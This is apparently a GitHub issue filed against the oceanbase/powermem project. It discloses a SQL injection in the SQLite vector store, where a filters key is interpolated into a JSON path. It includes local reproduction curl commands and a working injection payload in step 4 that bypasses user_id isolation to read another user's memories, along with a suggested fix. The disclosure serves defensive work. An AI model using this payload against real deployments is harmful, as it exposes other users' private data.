Skip to content

[Bug]: SQLite filters key SQL injection bypasses user_id filter (CWE-89) #898

@WSL0809

Description

@WSL0809

Title: [Bug]: SQLite filters key SQL injection bypasses user_id filter (CWE-89)

Describe the bug:
When using the SQLite backend, the filters object accepted by the search/list/count paths is used to build SQL using string interpolation for the JSON path:

  • json_extract(payload, '$.{key}') = ?

Only the value is parameterized; the key is directly interpolated into the SQL string. A malicious client can craft a filters key that closes the string/paren, injects an OR condition, and comments out the remaining predicates. This can bypass the intended user_id/agent_id/run_id isolation and return other users' rows.

Affected code (SQLite):

  • src/powermem/storage/sqlite/sqlite_vector_store.py (search, list, count, get_statistics)

Environment (Please provide the version number or commit id of this project.):

  • Project: oceanbase/powermem
  • Affected commit (origin/main at time of report): 349ab66d92931809065009c771e976a26ba913ce
  • Fix available in my fork/branch: WSL0809/powermem@fix/sqlite-jsonpath-parameterize (commit 477c2f96587f8fdd8bb9e1b631673723761e0147)

Fast reproduce steps:
*
Steps to reproduce the behavior.

  1. Start API server locally (SQLite backend, auth disabled). Example:
uv sync
POWERMEM_SERVER_AUTH_ENABLED=false \
POWERMEM_SERVER_RATE_LIMIT_ENABLED=false \
DATABASE_PROVIDER=sqlite \
LLM_PROVIDER=ollama \
EMBEDDING_PROVIDER=mock \
uv run powermem-server --host 127.0.0.1 --port 18000 --workers 1
  1. Create 2 memories under different users (note: infer=false):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories \
  -H 'Content-Type: application/json' \
  -d '{"content":"ALICE_SECRET","user_id":"alice","run_id":"123","infer":false}'

curl -sS -X POST http://127.0.0.1:18000/api/v1/memories \
  -H 'Content-Type: application/json' \
  -d '{"content":"BOB_SECRET","user_id":"bob","run_id":"123","infer":false}'
  1. Baseline search as alice (should NOT return bob):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories/search \
  -H 'Content-Type: application/json' \
  -d '{"query":"poc","user_id":"alice","run_id":"123","limit":50}'
  1. Exploit: inject via filters key (should still only return alice, but currently can return bob):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories/search \
  -H 'Content-Type: application/json' \
  -d '{"query":"poc","user_id":"alice","run_id":"123","filters":{"x') OR (?=? AND ?) -- ":"alice"},"limit":50}'

Expected behavior:

  • Search results filtered by user_id=alice should never include bob’s memory.

Actual behavior:

  • The exploit request can return both ALICE_SECRET and BOB_SECRET (bypassing the intended filter).

Suggested fix:

  • Parameterize the JSON path too:
    • Use json_extract(payload, ?) = ? and bind the path (e.g. $."user_id"), instead of interpolating '$.' + key into the SQL string.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status

    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions